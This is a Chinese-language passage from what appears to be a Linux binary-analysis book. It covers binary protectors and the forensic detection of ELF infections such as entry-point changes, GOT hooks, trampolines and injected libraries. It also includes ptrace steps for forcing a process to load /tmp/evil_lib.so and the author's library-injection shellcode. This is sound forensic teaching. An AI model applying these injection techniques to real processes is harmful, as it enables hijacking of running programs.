检测仿真 CPU 的不一致性

仿真器完美仿真 CPU 架构的可能性几乎为零。因此,通常会寻找仿真器行为与 CPU 应该行为之间的某些不一致之处。其中一种技术是尝试写入特权指令,例如调试寄存器(例如db0db7)或控制寄存器(例如cr0cr4)。仿真检测代码可能有一个尝试写入cr0并查看是否成功的 ASM 代码存根。

检查某些指令之间的时间延迟

另一种有时可能会导致仿真器本身不稳定的技术是检查某些指令之间的时间戳,并查看执行所需的时间。真实的 CPU 应该比仿真器快几个数量级地执行一系列指令。

混淆方法

二进制可以以许多创造性的方式进行混淆或加密。大多数二进制保护程序只是用一层或多层保护来保护整个二进制文件。在运行时,二进制文件被解密,并且可以从内存中转储以获取解压后的二进制文件的副本。在更高级的保护程序中,例如 Maya,每个函数都是单独加密的,并且一次只允许解密一个函数。

一旦二进制文件被加密,它当然必须将加密密钥存储在某个地方。在 Maya(前面讨论过)的情况下,设计了一个自定义堆实现,它本身使用加密来存储加密密钥。在某个时候,似乎必须暴露一个密钥(例如用于解密另一个密钥的密钥),但可以使用特殊技术,如白盒密码术,使这些最终密钥极其模糊。如果在保护程序中使用内核的帮助,那么可以将密钥存储在二进制和处理内存之外。

代码混淆技术(例如虚假反汇编,在第四章中描述,ELF 病毒技术- Linux/Unix 病毒)也常用于二进制保护,以使对已解密或从未加密的代码进行静态分析更加困难。二进制保护程序通常还会从二进制文件中剥离段头表,并删除其中的任何不需要的字符串和字符串表,比如那些提供符号名称的字符串。

保护控制流完整性

受保护的二进制文件应该在运行时(进程本身)保护程序,就像在磁盘上静止的二进制文件一样多,甚至更多。运行时攻击通常可以分为两种类型:

  • 基于ptrace的攻击

  • 基于漏洞的攻击

基于 ptrace 的攻击

第一种类型,基于ptrace的攻击,也属于调试进程的范畴。正如前面讨论的,二进制保护程序希望使基于ptrace的调试对逆向工程师非常困难。然而,除了调试之外,还有许多其他攻击可能有助于破坏受保护的二进制文件,了解并理解其中一些是很重要的,以便进一步阐明为什么二进制保护程序希望保护运行中的进程免受ptrace的攻击。

如果一个保护程序已经走得很远,能够检测断点指令(因此使调试更加困难),但无法保护自己免受ptrace跟踪,那么它可能仍然非常容易受到基于ptrace的攻击,比如函数劫持和共享库注入。攻击者可能不只是想解包一个受保护的二进制文件,而是可能只想改变二进制文件的行为。一个良好的二进制保护程序应该努力保护其控制流的完整性。

想象一下,一个攻击者知道一个受保护的二进制文件正在调用dlopen()函数来加载一个特定的共享库,而攻击者希望该进程加载一个木马共享库。以下步骤可能导致攻击者通过改变其控制流来破坏受保护的二进制文件:

  1. 使用ptrace附加到进程。

  2. 修改全局偏移表条目以使dlopen()指向libc.so中的__libc_dlopen_mode

  3. 调整%rdi寄存器,使其指向这个路径:/tmp/evil_lib.so

  4. 继续执行。

此时,攻击者刚刚强制一个受保护的二进制文件加载了一个恶意的共享库,因此完全破坏了受保护二进制文件的安全性。

正如前面讨论的,Maya 保护程序通过运行时引擎作为主动调试器来防范此类漏洞,防止其他进程附加。如果保护程序能够禁用ptrace附加到受保护进程,那么该进程在很大程度上就不太容易受到这种类型的运行时攻击。

基于安全漏洞的攻击

基于漏洞的攻击是一种攻击类型,攻击者可能能够利用受保护程序中固有的弱点,比如基于堆栈的缓冲区溢出,并随后改变执行流程为他们选择的内容。

这种类型的攻击通常更难对受保护的程序进行,因为它提供的关于自身的信息要少得多,并且使用调试器来缩小利用中内存中使用的位置的范围可能更难获得洞察。尽管如此,这种类型的攻击是非常可能的,这就是为什么 Maya 保护程序强制执行控制流完整性和只读重定位,以特别防范漏洞利用攻击。

我不知道现在是否有其他保护程序正在使用类似的反利用技术,但我只能推测它们存在。

其他资源

在二进制保护上只写一章是远远不够全面的,无法教会你关于这个主题的所有知识。本书的其他章节相互补充,当结合在一起时,它们将帮助你深入理解。关于这个主题有许多好资源,其中一些已经提到过。

特别推荐一份由 Andrew Griffith 撰写的资源供阅读。这篇论文是十多年前写的,但描述了许多今天仍然与二进制保护相关的技术和实践:

www.bitlackeys.org/resources/binary_protection_schemes.pdf

这篇论文后来还有一个演讲,幻灯片可以在这里找到:

2005.recon.cx/recon2005/papers/Andrew_Griffiths/protecting_binaries.pdf

摘要

在本章中,我们揭示了 Linux 二进制保护方案的内部工作原理,并讨论了过去十年中为 Linux 发布的各种二进制保护程序的各种特性。

在下一章中,我们将从相反的角度探讨问题,并开始研究 Linux 中的 ELF 二进制取证。

第六章:Linux 中的 ELF 二进制取证

计算机取证领域广泛,包括许多调查方面。其中一个方面是对可执行代码的分析。对于黑客来说,安装某种恶意功能的最阴险的地方之一就是在某种可执行文件中。在 Linux 中,当然是 ELF 文件类型。我们已经探讨了一些感染技术,这些技术正在使用第四章,ELF 病毒技术- Linux/Unix 病毒,但几乎没有讨论分析阶段。调查人员应该如何探索二进制文件中的异常或代码感染?这正是本章的主题。

攻击者感染可执行文件的动机各不相同,可能是病毒、僵尸网络或后门。当然,还有许多情况下,个人想要修补或修改二进制文件以达到完全不同的目的,比如二进制保护、代码修补或其他实验。无论是恶意还是不恶意,二进制修改方法都是一样的。插入的代码决定了二进制文件是否具有恶意意图。

无论哪种情况,本章都将为读者提供必要的洞察力,以确定二进制文件是否已被修改,以及它究竟是如何被修改的。在接下来的页面中,我们将研究几种不同类型的感染,甚至讨论在对由世界上最有技术的病毒作者之一 JPanic 设计的 Linux 报复病毒进行实际分析时的一些发现。本章的目的是训练您的眼睛能够在 ELF 二进制文件中发现异常,通过一些实践,这是完全可能的。

检测入口点修改的科学

当二进制文件以某种方式被修改时,通常是为了向二进制文件添加代码,然后将执行流重定向到该代码。执行流的重定向可以发生在二进制文件的许多位置。在这种特殊情况下,我们将研究一种在修补二进制文件时经常使用的非常常见的技术,特别是对于病毒。这种技术就是简单地修改入口点,即 ELF 文件头的e_entry成员。

目标是确定e_entry是否保存了指向表示二进制文件异常修改的位置的地址。

注意

异常意味着任何不是由链接器本身/usr/bin/ld创建的修改,链接器的工作是将 ELF 对象链接在一起。链接器将创建一个代表正常状态的二进制文件,而不自然的修改通常会引起受过训练的眼睛的怀疑。

能够快速检测异常的最快途径是首先了解什么是正常的。让我们来看看两个正常的二进制文件:一个是动态链接的,另一个是静态链接的。两者都是使用gcc编译的,没有经过任何修改:

$ readelf -h bin1 | grep Entry
  Entry point address:               0x400520
$

因此,我们可以看到入口点是0x400520。如果我们查看部分头,我们可以看到这个地址属于哪个部分:

readelf -S bin1 | grep 4005
  [13] .text             PROGBITS         0000000000400520  00000520

注意

在我们的例子中,入口点从.text部分的开头开始。这并不总是这样,因此像之前那样搜索第一个重要的十六进制数字并不是一种一致的方法。建议您检查每个部分头的地址和大小,直到找到包含入口点的地址范围的部分。

正如我们所看到的,它指向了.text段的开头,这是常见的,但根据二进制文件的编译和链接方式,每个二进制文件可能会有所不同。这个二进制文件是被编译成与 libc 链接的,就像你遇到的 99%的二进制文件一样。这意味着入口点包含一些特殊的初始化代码,在每个 libc 链接的二进制文件中几乎是相同的,所以让我们来看看它,这样我们就知道在分析二进制文件的入口点代码时可以期待什么:

$ objdump -d --section=.text bin1

 0000000000400520 <_start>:
  400520:       31 ed                 xor    %ebp,%ebp
  400522:       49 89 d1              mov    %rdx,%r9
  400525:       5e                    pop    %rsi
  400526:       48 89 e2              mov    %rsp,%rdx
  400529:       48 83 e4 f0           and    $0xfffffffffffffff0,%rsp
  40052d:       50                    push   %rax
  40052e:       54                    push   %rsp
  40052f:       49 c7 c0 20 07 40 00   mov    $0x400720,%r8 // __libc_csu_fini
  400536:       48 c7 c1 b0 06 40 00  mov    $0x4006b0,%rcx // __libc_csu_init
  40053d:       48 c7 c7 0d 06 40 00  mov    $0x40060d,%rdi // main()
  400544:       e8 87 ff ff ff         callq  4004d0  // call libc_start_main()
...

前面的汇编代码是由 ELF 头部的e_entry指向的标准 glibc 初始化代码。这段代码总是在main()之前执行,其目的是调用初始化例程libc_start_main()

libc_start_main((void *)&main, &__libc_csu_init, &libc_csu_fini);

此函数设置进程堆段,注册构造函数和析构函数,并初始化与线程相关的数据。然后调用main()

现在你知道了 libc 链接二进制文件的入口点代码是什么样子,你应该能够轻松地确定入口点地址是否可疑,当它指向不像这样的代码,或者根本不在.text段中时!

注意

与 libc 静态链接的二进制文件将在 _start 中具有与前面代码几乎相同的初始化代码,因此对于静态链接的二进制文件也适用相同的规则。

现在让我们来看看另一个被 Retaliation 病毒感染的二进制文件,并看看入口点存在什么样的奇怪之处:

$ readelf -h retal_virus_sample | grep Entry
  Entry point address:        0x80f56f

通过readelf -S快速检查段头部,将证明这个地址没有被任何段头部记录,这是非常可疑的。如果一个可执行文件有段头部,并且有一个未被段记录的可执行区域,那几乎肯定是感染或二进制文件被篡改的迹象。要执行代码,段头部是不必要的,因为我们已经学过,但程序头部是必要的。

让我们来看看通过使用readelf -l查看程序头部,这个地址属于哪个段:

Elf file type is EXEC (Executable file)
Entry point 0x80f56f
There are 9 program headers, starting at offset 64

Program Headers:
  Type       Offset             VirtAddr           PhysAddr
             FileSiz            MemSiz              Flags  Align
  PHDR       0x0000000000000040 0x0000000000400040 0x0000000000400040
             0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP     0x0000000000000238 0x0000000000400238 0x0000000000400238
             0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD       0x0000000000000000 0x0000000000400000 0x0000000000400000
             0x0000000000001244 0x0000000000001244  R E    200000
  LOAD       0x0000000000001e28 0x0000000000601e28 0x0000000000601e28
             0x0000000000000208 0x0000000000000218  RW     200000
  DYNAMIC    0x0000000000001e50 0x0000000000601e50 0x0000000000601e50
             0x0000000000000190 0x0000000000000190  RW     8
  LOAD       0x0000000000003129 0x0000000000803129 0x0000000000803129
 0x000000000000d9a3 0x000000000000f4b3  RWE    200000

这个输出有几个非常可疑的原因。通常,我们只会在一个 ELF 可执行文件中看到两个 LOAD 段——一个用于文本,一个用于数据——尽管这不是一个严格的规则。然而,这是正常情况,而这个二进制文件显示了三个段。

此外,这个段可疑地标记为 RWE(读+写+执行),这表明存在自修改代码,通常与具有多态引擎的病毒一起使用。入口点指向这第三个段内部,而它应该指向第一个段(文本段),我们可以看到,文本段的虚拟地址为0x400000,这是 Linux x86_64 可执行文件的典型文本段地址。我们甚至不需要查看代码就可以相当有信心地认为这个二进制文件已经被篡改。

但是为了验证,特别是如果你正在设计执行二进制文件自动分析的代码,你可以检查入口点的代码,看它是否与预期的样子相匹配,这就是我们之前看到的 libc 初始化代码。

以下gdb命令显示了在retal_virus_sample可执行文件的入口点处找到的反汇编指令:

(gdb) x/12i 0x80f56f
   0x80f56f:  push   %r11
   0x80f571:  movswl %r15w,%r11d
   0x80f575:  movzwq -0x20d547(%rip),%r11        # 0x602036
   0x80f57d:  bt     $0xd,%r11w
   0x80f583:  movabs $0x5ebe954fa,%r11
   0x80f58d:  sbb    %dx,-0x20d563(%rip)        # 0x602031
   0x80f594:  push   %rsi
   0x80f595:  sete   %sil
   0x80f599:  btr    %rbp,%r11
   0x80f59d:  imul   -0x20d582(%rip),%esi        # 0x602022
   0x80f5a4:  negw   -0x20d57b(%rip)        # 0x602030 <completed.6458>
   0x80f5ab:  bswap  %rsi

我认为我们可以很快地达成一致,前面的代码看起来不像我们期望在未篡改的可执行文件的入口点代码中看到的 libc 初始化代码。你可以简单地将它与我们从bin1中查看的预期 libc 初始化代码进行比较来找出这一点。

修改入口点的其他迹象是地址指向.text部分之外的任何部分,特别是如果它是文本段内最后一个部分(有时是.eh_frame部分)。另一个确定的迹象是,如果地址指向数据段内通常标记为可执行的位置(使用readelf -l可见),以便执行寄生代码。

注意

通常,数据段标记为 RW,因为不应该在该段中执行任何代码。如果您看到数据标记为 RWX,那么请将其视为一个警告信号,因为这是极其可疑的。

修改入口点并不是创建插入代码的唯一方法。这是一种常见的方法,能够检测到这一点是一种重要的启发式方法,特别是在恶意软件中,因为它可以揭示寄生代码的起始点。在下一节中,我们将讨论用于劫持控制流的其他方法,这并不总是在执行的开始,而是在中间甚至在结束时。

检测其他形式的控制流劫持

有许多原因可以修改二进制文件,根据所需的功能,二进制控制流将以不同的方式进行修补。在前面关于报复病毒的示例中,修改了 ELF 文件头中的入口点。还有许多其他方法可以将执行转移到插入的代码,我们将讨论一些更常见的方法。

修补.ctors/.init_array 部分

在 ELF 可执行文件和共享库中,您会注意到通常存在一个名为.ctors(通常也称为.init_array)的部分。该部分包含一个地址数组,这些地址是由.init部分的初始化代码调用的函数指针。函数指针指向使用构造函数属性创建的函数,在main()之前执行。这意味着.ctors函数指针表可以使用指向已注入到二进制文件中的代码的地址进行修补,我们称之为寄生代码。

检查.ctors部分中的地址是否有效相对容易。构造函数例程应始终存储在文本段的.text部分中。请记住来自第二章,《ELF 二进制格式》,.text部分不是文本段,而是驻留在文本段范围内的部分。如果.ctors部分包含任何指向.text部分之外位置的函数指针,那么可能是时候产生怀疑了。

注意

关于.ctors 用于反反调试的一点说明

一些包含反调试技术的二进制文件实际上会创建一个合法的构造函数,调用ptrace(PTRACE_TRACEME, 0);

如第四章,《ELF 病毒技术- Linux/Unix 病毒》中所讨论的,这种技术可以防止调试器附加到进程,因为一次只能附加一个跟踪器。如果发现二进制文件具有执行此反调试技巧的函数,并且在.ctors中具有函数指针,则建议简单地使用0x000000000xffffffff对该函数指针进行修补,这将使__libc_start_main()函数忽略它,从而有效地禁用反调试技术。在 GDB 中可以轻松完成此任务,例如,set {long}address = 0xffffffff,假设 address 是要修改的.ctors 条目的位置。

检测 PLT/GOT 挂钩

这种技术早在 1998 年就已经被使用,当时由 Silvio Cesare 在phrack.org/issues/56/7.html上发表,其中讨论了共享库重定向的技术。

在第二章中,ELF 二进制格式,我们仔细研究了动态链接,并解释了PLT(过程链接表)和GOT(全局偏移表)的内部工作原理。具体来说,我们研究了延迟链接以及 PLT 包含的代码存根,这些代码存根将控制转移到存储在 GOT 中的地址。如果共享库函数(如printf)以前从未被调用过,则存储在 GOT 中的地址将指向 PLT,然后调用动态链接器,随后填充 GOT,使其指向映射到进程地址空间中的 libc 共享库中的printf函数的地址。

静态(静止)和热修补(内存中)通常会修改一个或多个 GOT 条目,以便调用一个经过修补的函数而不是原始函数。我们将检查一个已注入包含一个简单将字符串写入stdout的函数的目标文件的二进制文件。puts(char *);的 GOT 条目已被修补,指向注入函数的地址。

前三个 GOT 条目是保留的,通常不会被修补,因为这可能会阻止可执行文件正确运行(请参阅第二章,ELF 二进制格式,动态链接部分)。因此,作为分析人员,我们对观察从 GOT[3]开始的条目感兴趣。每个 GOT 值应该是一个地址。该地址可以有两个被认为是有效的值:

  • 指向 PLT 的地址指针

  • 指向有效共享库函数的地址指针

当二进制文件在磁盘上被感染(而不是运行时感染)时,GOT 条目将被修补,指向二进制文件中已注入代码的某个地方。请回顾第四章中讨论的内容,ELF 病毒技术- Linux/Unix 病毒,其中介绍了将代码注入可执行文件的多种方法。在我们将在这里查看的二进制文件示例中,使用了可重定位目标文件(ET_REL),该文件被插入到文本段的末尾,使用了第四章中讨论的 Silvio 填充感染。

分析已感染的二进制文件的.got.plt部分时,我们必须仔细验证从 GOT[4]到 GOT[N]的每个地址。这仍然比查看内存中的二进制文件要容易,因为在执行二进制文件之前,GOT 条目应该始终只指向 PLT,因为尚未解析共享库函数。

使用readelf -S实用程序并查找.plt部分,我们可以推断出 PLT 地址范围。在我现在查看的 32 位二进制文件中,它是0x8048300 - 0x8048350。在查看以下.got.plt部分之前,请记住这个范围。

从 readelf -S 命令的截断输出

[12] .plt     PROGBITS        08048300 000300 000050 04  AX  0   0 16

现在让我们看看 32 位二进制文件的.got.plt部分,看看是否有任何相关地址指向0x80483000x8048350之外的地方:

Contents of section .got.plt:
…
0x804a00c: 28860408 26830408 36830408 …

所以让我们把这些地址从它们的小端字节顺序中取出,并验证每个地址是否按预期指向.plt部分内:

  • 08048628:这不指向 PLT!

  • 08048326:这是有效的

  • 08048336:这是有效的

  • 08048346:这是有效的

GOT 位置0x804a00c包含地址0x8048628,它并不指向有效的位置。我们可以通过使用readelf -r命令查看重定位条目来查看0x804a00c对应的共享库函数,这会显示感染的 GOT 条目对应于 libc 函数puts()

Relocation section '.rel.plt' at offset 0x2b0 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a014  00000307 R_386_JUMP_SLOT   00000000   exit
0804a018  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main

因此,GOT 位置0x804a00cputs()函数的重定位单元。通常情况下,它应该包含一个指向 GOT 偏移的 PLT 存根的地址,以便动态链接器被调用并解析该符号的运行时值。在这种情况下,GOT 条目包含地址0x8048628,它指向文本段末尾的可疑代码:

 8048628:       55                      push   %ebp
 8048629:       89 e5                   mov    %esp,%ebp
 804862b:       83 ec 0c                sub    $0xc,%esp
 804862e:       c7 44 24 08 25 00 00    movl   $0x25,0x8(%esp)
 8048635:       00
 8048636:       c7 44 24 04 4c 86 04    movl   $0x804864c,0x4(%esp)
 804863d:       08
 804863e:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048645:       e8 a6 ff ff ff          call   80485f0 <_write>
 804864a:       c9                      leave  
 804864b:       c3                      ret  

从技术上讲,我们甚至不需要知道这段代码的功能,就可以知道 GOT 被劫持了,因为 GOT 应该只包含指向 PLT 的地址,而这显然不是 PLT 地址:

$ ./host
HAHA puts() has been hijacked!
$

进一步的练习将是手动清除这个二进制文件,这是我定期提供的 ELF 研讨会培训中的一部分。清除这个二进制文件主要涉及对包含指向寄生体的.got.plt条目进行修补,并用指向适当 PLT 存根的指针替换它。

检测函数跳板

术语跳板的使用比较宽泛,但最初是指内联代码修补,其中在函数的过程序言的前 5 到 7 个字节上放置了一个jmp等分支指令。通常情况下,如果需要以原始方式调用被修补的函数,那么这个跳板会被临时替换为原始代码字节,然后迅速放回跳板指令。检测这类内联代码钩子非常容易,甚至可以通过某种程度的程序或脚本来自动化。

以下是两个跳板代码的示例(32 位 x86 汇编语言):

  • 类型 1:
movl $target, %eax
jmp *%eax
  • 类型 2:
push $target
ret

1999 年 Silvio 撰写了一篇关于在内核空间中使用函数跳板进行函数劫持的经典论文。相同的概念可以应用于用户空间和内核;对于内核,您需要禁用 cr0 寄存器中的写保护位,使文本段可写,或者直接修改 PTE 以将给定页面标记为可写。我个人更喜欢前一种方法。关于内核函数跳板的原始论文可以在vxheaven.org/lib/vsc08.html找到。

检测函数跳板的最快方法是找到每个函数的入口点,并验证代码的前 5 到 7 个字节是否不是某种分支指令。编写一个可以做到这一点的 GDB 的 Python 脚本将非常容易。我以前很容易就写了 C 代码来做到这一点。

识别寄生代码特征

我们刚刚回顾了一些劫持执行流的常见方法。如果您可以确定执行流指向的位置,通常可以识别一些或所有的寄生代码。在检测 PLT/GOT 钩子部分,我们通过简单地定位已修改的 PLT/GOT 条目并查看该地址指向的位置来确定劫持puts()函数的寄生代码的位置,而在这种情况下,它指向了一个包含寄生代码的附加页面。

寄生代码可以被定义为不自然地插入二进制文件的代码;换句话说,它不是由实际的 ELF 对象链接器链接进来的。话虽如此,根据使用的技术,有几个特征有时可以归因于注入的代码。

位置无关代码PIC)经常用于寄生体,以便它可以被注入到二进制或内存的任何位置,并且无论其在内存中的位置如何,都可以正常执行。PIC 寄生体更容易注入到可执行文件中,因为代码可以插入到二进制文件中,而无需考虑处理重定位。在某些情况下,比如我的 Linux 填充病毒www.bitlackeys.org/projects/lpv.c,寄生体被编译为一个带有 gcc-nostdlib 标志的可执行文件。它没有被编译为位置无关,但它没有 libc 链接,并且在寄生体代码本身中特别注意动态解析内存地址与指令指针相关的计算。

在许多情况下,寄生代码纯粹是用汇编语言编写的,因此在某种意义上更容易识别为潜在的寄生体,因为它看起来与编译器生成的代码不同。用汇编语言编写的寄生代码的一个特征是系统调用的处理方式。在 C 代码中,通常通过 libc 函数调用系统调用,这些函数将调用实际的系统调用。因此,系统调用看起来就像常规的动态链接函数。在手写的汇编代码中,系统调用通常是直接使用 Intel sysenter 或 syscall 指令调用的,有时甚至使用int 0x80(现在被认为是遗留的)。如果存在系统调用指令,我们可能会认为这是一个警告信号。

另一个警告信号,特别是在分析可能被感染的远程进程时,是看到int3指令,它可以用于许多目的,比如将控制权传递回执行感染的跟踪进程,甚至更令人不安的是,触发恶意软件或二进制保护程序中的某种反调试机制的能力。

以下 32 位代码将一个共享库映射到进程中,然后使用int3将控制权传递回跟踪器。请注意,int 0x80被用于调用系统调用。这个 shellcode 实际上很老了;我是在 2008 年写的。通常,现在我们希望在 Linux 中使用 sysenter 或 syscall 指令来调用系统调用,但int 0x80仍然有效;只是速度较慢,因此被认为是过时的。

_start:
        jmp B
A:

        # fd = open("libtest.so.1.0", O_RDONLY);

        xorl %ecx, %ecx
        movb $5, %al
        popl %ebx
        xorl %ecx, %ecx
        int $0x80

        subl $24, %esp

        # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);

        xorl %edx, %edx
        movl %edx, (%esp)
        movl $8192,4(%esp)
        movl $7, 8(%esp)
        movl $2, 12(%esp)
        movl %eax,16(%esp)
        movl %edx, 20(%esp)
        movl $90, %eax
        movl %esp, %ebx
        int $0x80

        int3
B:
        call A
        .string "/lib/libtest.so.1.0"

如果你在磁盘上或内存中看到这段代码,你应该很快就会得出结论,它看起来不像是编译后的代码。一个明显的特征是使用call/pop 技术来动态检索/lib/libtest.so.1.0的地址。该字符串存储在call A指令之后,因此它的地址被推送到堆栈上,然后你可以看到它被弹出到ebx中,这不是常规的编译器代码。

注意

For runtime analysis, the infection vectors are many, and we will cover more about parasite identification in memory when we get into Chapter 7, *Process Memory Forensics*.

检查动态段以查找 DLL 注入痕迹

回想一下第二章,ELF 二进制格式,动态段可以在程序头表中找到,类型为PT_DYNAMIC。还有一个.dynamic部分,也指向动态段。

动态段是一个包含d_tag和相应值的 ElfN_Dyn 结构数组,该值存在于一个联合体中:

     typedef struct {
               ElfN_Sxword    d_tag;
               union {
                   ElfN_Xword d_val;
                   ElfN_Addr  d_ptr;
               } d_un;
           } ElfN_Dyn;

使用readelf我们可以轻松查看文件的动态段。

以下是一个合法的动态段的示例:

$ readelf -d ./test

Dynamic section at offset 0xe28 contains 24 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x000000000000000c (INIT)               0x4004c8
 0x000000000000000d (FINI)               0x400754
 0x0000000000000019 (INIT_ARRAY)         0x600e10
 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x600e18
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x400298
 0x0000000000000005 (STRTAB)             0x400380
 0x0000000000000006 (SYMTAB)             0x4002c0
 0x000000000000000a (STRSZ)              87 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x601000
 0x0000000000000002 (PLTRELSZ)           144 (bytes)
 0x0000000000000014 (PLTREL)             RELA
 0x0000000000000017 (JMPREL)             0x400438
 0x0000000000000007 (RELA)               0x400408
 0x0000000000000008 (RELASZ)             48 (bytes)
 0x0000000000000009 (RELAENT)            24 (bytes)
 0x000000006ffffffe (VERNEED)            0x4003e8
 0x000000006fffffff (VERNEEDNUM)         1
 0x000000006ffffff0 (VERSYM)             0x4003d8
 0x0000000000000000 (NULL)               0x0

这里有许多重要的标签类型,这些标签类型对于动态链接器在运行时导航二进制文件以便解析重定位和加载库是必要的。请注意,前面的代码中突出显示了称为NEEDED的标签类型。这是告诉动态链接器需要加载到内存中的共享库的动态条目。动态链接器将在由$LD_LIBRARY_PATH环境变量指定的路径中搜索指定的共享库。

很明显,攻击者可以向二进制文件中添加一个指定要加载的共享库的NEEDED条目。在我的经验中,这不是一种非常常见的技术,但这是一种可以用来告诉动态链接器加载任何你想要的库的技术。分析人员面临的问题是,如果操作正确,这种技术很难检测,也就是说,插入的NEEDED条目直接放在最后一个合法的NEEDED条目之后。这可能很困难,因为你必须将所有其他动态条目向前移动,为你的插入腾出空间。

在许多情况下,攻击者可能会以经验不足的方式进行操作,其中NEEDED条目位于所有其他条目的最末尾,而对象链接器永远不会这样做,因此,如果你看到一个动态段看起来像下面这样,你就知道出了问题。

以下是一个感染的动态段的示例:

$ readelf -d ./test

Dynamic section at offset 0xe28 contains 24 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x000000000000000c (INIT)               0x4004c8
 0x000000000000000d (FINI)               0x400754
 0x0000000000000019 (INIT_ARRAY)         0x600e10
 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x600e18
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x400298
 0x0000000000000005 (STRTAB)             0x400380
 0x0000000000000006 (SYMTAB)             0x4002c0
 0x000000000000000a (STRSZ)              87 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x601000
 0x0000000000000002 (PLTRELSZ)           144 (bytes)
 0x0000000000000014 (PLTREL)             RELA
 0x0000000000000017 (JMPREL)             0x400438
 0x0000000000000007 (RELA)               0x400408
 0x0000000000000008 (RELASZ)             48 (bytes)
 0x0000000000000009 (RELAENT)            24 (bytes)
 0x000000006ffffffe (VERNEED)            0x4003e8
 0x000000006fffffff (VERNEEDNUM)         1
 0x000000006ffffff0 (VERSYM)             0x4003d8
 0x0000000000000001 (NEEDED)             Shared library: [evil.so]
 0x0000000000000000 (NULL)               0x0

识别反向文本填充感染

这是一种我们在第四章中讨论过的病毒感染技术,ELF 病毒技术- Linux/Unix 病毒。其思想是病毒或寄生体可以通过向后扩展文本段来为其代码腾出空间。如果你知道在找什么,文本段的程序头将会看起来很奇怪。

让我们看一个已感染病毒并使用这种寄生体感染方法的 ELF 64 位二进制文件:

readelf -l ./infected_host1

Elf file type is EXEC (Executable file)
Entry point 0x3c9040
There are 9 program headers, starting at offset 225344

Program Headers:
 Type         Offset             VirtAddr           PhysAddr
              FileSiz            MemSiz              Flags  Align
 PHDR         0x0000000000037040 0x0000000000400040 0x0000000000400040
              0x00000000000001f8 0x00000000000001f8  R E    8
 INTERP       0x0000000000037238 0x0000000000400238 0x0000000000400238
              0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
 LOAD         0x0000000000000000 0x00000000003ff000 0x00000000003ff000
              0x00000000000378e4 0x00000000000378e4  RWE    1000
 LOAD         0x0000000000037e10 0x0000000000600e10 0x0000000000600e10
              0x0000000000000248 0x0000000000000250  RW     1000
 DYNAMIC      0x0000000000037e28 0x0000000000600e28 0x0000000000600e28
              0x00000000000001d0 0x00000000000001d0  RW     8
 NOTE         0x0000000000037254 0x0000000000400254 0x0000000000400254
              0x0000000000000044 0x0000000000000044  R      4
 GNU_EH_FRAME 0x0000000000037744 0x0000000000400744 0x0000000000400744
              0x000000000000004c 0x000000000000004c  R      4
  GNU_STACK   0x0000000000037000 0x0000000000000000 0x0000000000000000
              0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO   0x0000000000037e10 0x0000000000600e10 0x0000000000600e10
              0x00000000000001f0 0x00000000000001f0  R      1

在 Linux x86_64 上,文本段的默认虚拟地址是0x400000。这是因为链接器使用的默认链接脚本规定了这样做。程序头表(在前面标有 PHDR)在文件中的偏移为 64 字节,因此其虚拟地址为0x400040。从前面的输出中查看程序头,我们可以看到文本段(第一行 LOAD)没有预期的地址;相反,它是0x3ff000。然而,PHDR 虚拟地址仍然是0x400040,这告诉你,原始文本段地址曾经也是这样,这里发生了一些奇怪的事情。这是因为文本段基本上是向后扩展的,正如我们在第四章中讨论的那样,ELF 病毒技术- Linux/Unix 病毒

识别反向文本填充感染

图示-显示反向文本填充感染的可执行文件

以下是反向文本感染可执行文件的 ELF 文件头:

$ readelf -h ./infected_host1
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
 Entry point address:               0x3ff040
 Start of program headers:          225344 (bytes into file)
 Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         0
  Section header string table index: 0

我已经突出显示了 ELF 头中所有可疑的内容:

  • 入口点指向寄生体区域

  • 程序头的开始应该只有 64 字节

  • 段头表偏移为 0,就像被剥离的那样

识别文本段填充感染

这种类型的感染相对容易检测。这种类型的感染也在第四章中讨论过,ELF 病毒技术- Linux/Unix 病毒。这种技术依赖于文本段和数据段之间始终会有至少 4096 字节的事实,因为它们作为两个单独的内存段加载到内存中,并且内存映射始终是页面对齐的。

在 64 位系统上,通常由于PSE页面大小扩展)页面,会有0x200000(2MB)的空闲空间。这意味着 64 位 ELF 二进制文件可以插入一个 2MB 的寄生体,这比通常需要的注入空间要大得多。像任何其他类型的感染一样,通过检查控制流,通常可以确定寄生体的位置。

例如,我在 2008 年编写的lpv病毒,入口点被修改为从使用文本段填充感染插入的寄生体开始执行。如果被感染的可执行文件有一个段头表,你会看到入口点地址位于文本段内最后一个部分的范围内。让我们来看一个使用这种技术被感染的 32 位 ELF 可执行文件。

识别文本段填充感染

